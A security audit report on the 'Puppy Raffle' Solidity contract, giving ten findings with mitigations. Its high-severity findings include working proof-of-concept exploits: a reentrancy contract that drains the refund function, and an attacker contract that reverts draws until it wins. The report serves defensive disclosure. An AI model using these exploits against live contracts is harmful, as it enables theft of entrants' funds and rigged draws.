



# Protocol Audit Report

Version 1.0

*Suryansh*

September 29, 2026

# Protocol Audit Report

Suryansh

September 29, 2026

## Prepared By

**Prepared by:** Suryansh Porwal

## Lead Auditors:

- Suryansh

## Puppy Raffle Audit Report

## Prepared By

**Prepared by:** Suryansh Porwal

## Table of Contents

- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
- Executive Summary
- Findings

## Protocol Summary

Puppy Raffle accepts ETH raffle entries, permits entrants to obtain a refund before a draw, selects a winner after the raffle duration, sends 80% of the round's proceeds to that winner, accrues the remaining 20% as protocol fees, and mints the winner a puppy ERC-721 NFT with a rarity trait.

## Disclaimer

This review is a time-boxed assessment of the in-scope Solidity implementation at the revision stated below. It is not an endorsement of the protocol and cannot guarantee that all vulnerabilities have been identified. The report reflects the code reviewed, not any later deployment or change.

## Risk Classification

| Likelihood / Impact | High        | Medium      | Low        |
|---------------------|-------------|-------------|------------|
| High                | High        | High/Medium | Medium     |
| Medium              | High/Medium | Medium      | Medium/Low |
| Low                 | Medium      | Medium/Low  | Low        |

Severity follows the likelihood and impact matrix used by CodeHawks.

## Audit Details

**Commit reviewed:** 2a47715b30cf11ca82db148704e67652ad679cd8 (the scope revision specified by the project README).

**Language / chain:** Solidity 0.7.6; Ethereum.

## Scope

src/PuppyRaffle.sol

## Roles

- **Owner:** may change the fee recipient through `PuppyRaffle.sol::changeFeeAddress`.
- **Player:** may enter the raffle and refund their own entry.
- **Fee recipient:** receives accrued protocol fees.

## Executive Summary

The review identified two high-severity issues that can drain raffle funds or allow the draw outcome to be influenced. Fee accounting and withdrawal assumptions can also strand ETH. The entry flow performs quadratic duplicate checks, creating an availability risk as the player list grows. Lower-severity issues affect API clarity and the advertised NFT rarity distribution.

## Issues Found

| Severity      | Number of issues |
|---------------|------------------|
| High          | 2                |
| Medium        | 5                |
| Low           | 2                |
| Informational | 1                |

## Findings

### High

#### [H-1] `refund()` can be re-entered to drain the raffle

##### Description

`PuppyRaffle::refund()` transfers ETH to `msg.sender` before it clears that player's slot. A malicious entrant implemented as a contract can call `PuppyRaffle::refund()` again from its `receive` or `fallback` function. Each nested call sees the same active player address and transfers another `entranceFee`.

```
payable(msg.sender).sendValue(entranceFee);  
players[playerIndex] = address(0);
```

The `PuppyRaffleTest::testReentrancy__refund` PoC demonstrates that an attacker can take the raffle's balance.

### Proof of Concept

The following is the exploit test and attacker callback is present in `test/PuppyRaffleTest.t.sol`:

```
function testReentrancy__refund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne; players[1] = playerTwo;
    players[2] = playerThree; players[3] = playerFour;
    address user = makeAddr("user");
    vm.deal(user, entranceFee * players.length);
    vm.prank(user);
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
    uint256 initialAttackerBalance = 1 ether;
    uint256 initialRaffleBalance = address(puppyRaffle).balance;
    ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
    vm.deal(address(attacker), initialAttackerBalance);
    attacker.attack();
    assertEq(address(attacker).balance, initialAttackerBalance +
    ↪ initialRaffleBalance);
}

function _stealMoney() internal {
    if (address(puppyRaffle).balance >= entranceFee)
    ↪ puppyRaffle.refund(attackerIndex);
}

receive() external payable { _stealMoney(); }
```

The final assertion proves that the attacker finishes with its starting balance plus the entire pre-attack raffle balance.

### Impact

An attacker can drain ETH belonging to all active entrants, preventing the intended winner and fee recipient from receiving their funds.

### Recommended Mitigation

Apply checks-effects-interactions: clear the player slot before sending ETH. Also inherit `ReentrancyGuard` and mark `refund()` as `nonReentrant`.

```
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
```

**Likelihood and Impact**

- **Impact:** High
- **Likelihood:** High
- **Severity:** High

**[H-2] A player can repeatedly revert draws until they win because `selectWinner()` uses predictable randomness****Description**

`PuppyRaffle.sol::selectWinner()` derives both the winning index and rarity from public, manipulable block values and the caller-controlled `msg.sender`.

```
uint256 winnerIndex = uint256(
    keccak256(abi.encodePacked(msg.sender, block.timestamp,
    ↪ block.difficulty))
) % players.length;

uint256 rarity = uint256(
    keccak256(abi.encodePacked(msg.sender, block.difficulty))
) % 100;
```

Callers can choose when and from which address to submit the draw transaction; block producers have additional influence over block properties. This is unsuitable for a raffle whose main security property is an unbiased winner and NFT trait assignment.

**Proof of Code**

The existing deterministic-draw test controls the same inputs the implementation trusts and asserts a fixed winner:

```
function testSelectWinner() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    assertEq(puppyRaffle.previousWinner(), playerFour);
}
```

The hash inputs are public at execution time and include `msg.sender`; an attacker can simulate candidate calls off-chain and submit a favourable one. They are not a secure source of entropy.

**Proof of Concept — retry and revert until the attacker wins**

An attacker first enters its contract address as a player. It then calls `selectWinner()` through that contract. If `previousWinner` is not the attacker, the attacker contract reverts. This bubbles up to the top-level transaction and rolls back *all* state changes made by `selectWinner()`—including the player-array deletion, raffle start-time update, payment, and NFT mint. The attacker repeats this transaction in later blocks until the pseudo-random result selects it.

```
contract SelectWinnerAttacker {
    PuppyRaffle private immutable raffle;

    constructor(PuppyRaffle _raffle) {
        raffle = _raffle;
    }

    // `address(this)` must have entered the raffle before this is called.
    function attack() external {
        raffle.selectWinner();

        // A non-favourable draw cannot settle: revert the whole
        ↪ transaction
        // and try again in the next block.
        require(
            raffle.previousWinner() == address(this),
            "not the winner; retry"
        );
    }

    receive() external payable {}
}
```

The attacker pays gas only for attempts, while an unfavourable result is never finalized. The same pattern can be used to wait for a desired rarity, since rarity is also based on predictable values.

### Impact

An attacker can repeatedly discard unfavourable draws and finalize only a draw that makes them the winner. They can also bias the NFT rarity outcome, unfairly obtaining the prize or a more valuable NFT.

### Recommended Mitigation

Use verifiable randomness, such as Chainlink VRF, with a request/fulfilment flow that finalizes the round only after the random value is returned. A carefully designed commit-reveal process is an alternative.

### Likelihood and Impact

- **Impact:** High
- **Likelihood:** Medium
- **Severity:** High

## Medium

### [M-1] Quadratic duplicate checking can make entering the raffle impossible

#### Description

After appending entries, `PuppyRaffle.sol::enterRaffle()` compares every player against every later player. Its cost is  $O(n^2)$ , and it re-checks all historical entries on every new entry transaction.

```
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

As marked in `findings.md`, two batches of 100 players cost approximately 625,048 gas and 18,068,193 gas respectively. An attacker can enter many distinct addresses, raising subsequent entry costs until transactions exceed the block gas limit.

#### Proof of Concept

The project's `findings.md` includes this Foundry PoC, which constructs 2,000 unique entrants and expects the entry to revert from gas exhaustion:

```
function testDoSAttackOnEnterRaffle() public {
    uint256 numberOfPlayers = 2000;
    address[] memory players = new address[](numberOfPlayers);
    for (uint160 i = 0; i < numberOfPlayers; i++) players[i] = address(i);
    vm.deal(address(10), 1e30);
    vm.prank(address(10));
    vm.expectRevert();
    puppyRaffle.enterRaffle{value: numberOfPlayers * entranceFee}(players);
}
```

#### Impact

Later entrants can be prevented from joining, leaving the attacker with a much higher probability of winning and potentially preventing the raffle from reaching its required four players.

#### Recommended Mitigation

Track active entries in `mapping(address => bool)`. Validate and set each new address in constant time; unset it during refund and reset the mapping or use a round identifier between draws. Alternatively, explicitly allow multiple entries per address if that is the intended product design.

### Likelihood and Impact

- **Impact:** Medium
- **Likelihood:** Medium
- **Severity:** Medium

### [M-2] Fee accounting truncates values to `uint64`

#### Description

Although `fee` is a `uint256`, it is explicitly narrowed before it is added to `totalFees`.

```
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
```

In Solidity 0.7, this cast silently truncates values above `type(uint64).max`. The addition itself may also wrap once accumulated fees reach the limit. The included `testOverflow__selectWinner` demonstrates the truncation with a 200 ETH entry fee and four entries.

#### Proof of Concept

This is the existing overflow PoC from `test/PuppyRaffleTest.t.sol`:

```
function testOverflow__selectWinner() public {
    uint256 highEntranceFee = 200 ether;
    puppyRaffle = new PuppyRaffle(highEntranceFee, feeAddress, duration);
    address[] memory players = new address[](4);
    for (uint256 i = 0; i < players.length; i++) players[i] =
    ↪ address(uint160(i + 1));
    uint256 cost = highEntranceFee * players.length;
    vm.deal(address(this), cost);
    puppyRaffle.enterRaffle{value: cost}(players);
    vm.warp(block.timestamp + duration + 1);
    puppyRaffle.selectWinner();
    uint256 expectedFee = (cost * 20) / 100;
    assertLt(uint256(puppyRaffle.totalFees()), expectedFee);
    assertEq(uint256(puppyRaffle.totalFees()), expectedFee %
    ↪ (uint256(type(uint64).max) + 1));
}
```

**Impact**

The recorded fees can become lower than the ETH actually retained by the contract. Since `PuppyRaffle.sol::withdrawFees()` relies on this accounting, fees and potentially all remaining ETH may become unrecoverable.

**Recommended Mitigation**

Store fees as `uint256`, or enforce a strict upper bound before narrowing. Upgrade to Solidity 0.8.x for checked arithmetic where practical.

**Likelihood and Impact**

- **Impact:** Medium
- **Likelihood:** Medium
- **Severity:** Medium

**[M-3] Forced ETH permanently blocks fee withdrawal****Description**

`PuppyRaffle.sol::withdrawFees()` allows withdrawal only when the contract balance exactly equals the tracked fee amount.

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There  
→ are currently players active!");
```

An ETH transfer through `selfdestruct` cannot be rejected by the raffle contract. Once any amount of forced ETH is received, this equality is false even after a completed raffle, so `withdrawFees()` always reverts.

**Impact**

Protocol fees become permanently locked, and the contract cannot recover the unsolicited ETH through its existing withdrawal mechanism.

**Recommended Mitigation**

Separate liabilities from the raw contract balance. Track active-round escrow and accrued fees explicitly, and let the fee recipient withdraw only `totalFees` after the round has settled. Do not require exact equality with `address(this).balance`.

**Likelihood and Impact**

- **Impact:** Medium

- **Likelihood:** Medium
- **Severity:** Medium

#### **[M-4] Refunds corrupt the round's payout and fee accounting**

##### **Description**

`PuppyRaffle::refund()` replaces an entrant with `address(0)` but does not remove the array element. `PuppyRaffle::selectWinner()` nevertheless calculates the prize and fee using `players.length`, which includes refunded entries.

```
players[playerIndex] = address(0); // refund()
uint256 totalAmountCollected = players.length * entranceFee; //
↪ selectWinner()
```

With four 1 ETH entries and one refund, the contract holds 3 ETH but attempts to send a 3.2 ETH prize. The ETH call fails and the draw reverts. With five entries and one refund, the 4 ETH prize can be paid but the 1 ETH recorded fee is no longer available, so fee withdrawal is blocked.

##### **Proof of Concept**

The existing tests establish both necessary behaviors:

```
// testGettingRefundRemovesThemFromArray
puppyRaffle.refund(indexOfPlayer);
assertEq(puppyRaffle.players(0), address(0));

// testSelectWinnerGetsPaid
uint256 expectedPayout = ((entranceFee * 4) * 80 / 100);
puppyRaffle.selectWinner();
assertEq(address(playerFour).balance, balanceBefore + expectedPayout);
```

##### **Impact**

Legitimate refunds can make a round impossible to settle or leave recorded protocol fees unwithdrawable.

##### **Recommended Mitigation**

Maintain an `activePlayerCount` and active-round escrow, decrement both before refunding, and use those values for payout and fees.

##### **Likelihood and Impact**

- **Impact:** Medium

- **Likelihood:** High
- **Severity:** Medium

#### **[M-5] A prize recipient that rejects ETH can block finalization of a draw**

##### **Description**

The winner receives the prize via a low-level call, and failure reverts the entire `PuppyRaffle::selectWinner()` transaction.

```
(bool success,) = winner.call{value: prizePool}("");  
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

A selected contract winner can deliberately revert on receiving ETH. This prevents the current finalization attempt and enables a disruptive winner to repeatedly make the draw fail when its address is selected.

##### **Impact**

Raffle settlement can be delayed or denied, holding player funds and preventing the next round.

##### **Recommended Mitigation**

Use a pull-payment model: record `prizePool` in a winner-claimable balance, finalize the round and mint the NFT, then allow the winner to withdraw independently. Provide a recovery path for an unclaimable prize if required by the protocol.

##### **Likelihood and Impact**

- **Impact:** Medium
- **Likelihood:** Medium
- **Severity:** Medium

##### **Low**

#### **[L-1] `PuppyRaffle.sol::getActivePlayerIndex()` uses 0 for both a valid index and “not found”**

##### **Description**

The function returns 0 if the address is absent, but index 0 is also the first valid player position.

```
return 0;
```

Integrators cannot distinguish an inactive player from the first active player without separately reading `players(0)`.

**Impact**

Off-chain clients and future contract integrations can submit an incorrect refund index or display incorrect player state.

**Recommended Mitigation**

Return `(bool active, uint256 index)`, return `type(uint256).max` as an explicit sentinel, or revert when the player is not active.

**Likelihood and Impact**

- **Impact:** Low
- **Likelihood:** High
- **Severity:** Low

**[L-2] Rarity thresholds do not match their stated percentages****Description**

Because the conditions use `<=` with `rarity % 100`, common NFTs are selected for values 0 through 70 (71 outcomes), rare for 71 through 95 (25 outcomes), and legendary for 96 through 99 (4 outcomes).

```
if (rarity <= COMMON_RARITY) {  
    // 71%, not 70%  
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {  
    // 25%  
} else {  
    // 4%, not 5%  
}
```

**Impact**

The advertised 70/25/5 rarity allocation is not honoured; legendary puppies are minted less often than intended.

**Recommended Mitigation**

Use strict less-than comparisons, e.g. `rarity < COMMON_RARITY` and `rarity < COMMON_RARITY + RARE_RARITY`.

**Likelihood and Impact**

- **Impact:** Low
- **Likelihood:** High
- **Severity:** Low

**Informational****[I-1] `PuppyRaffle::_isActivePlayer()` is unused****Description**

The internal `PuppyRaffle::_isActivePlayer()` helper is not called anywhere in the contract. Dead code increases maintenance surface and can mislead readers into believing that an active-player validation is enforced.

**Recommended Mitigation**

Remove the unused helper, or use it where it provides a meaningful validation after reviewing its linear gas cost.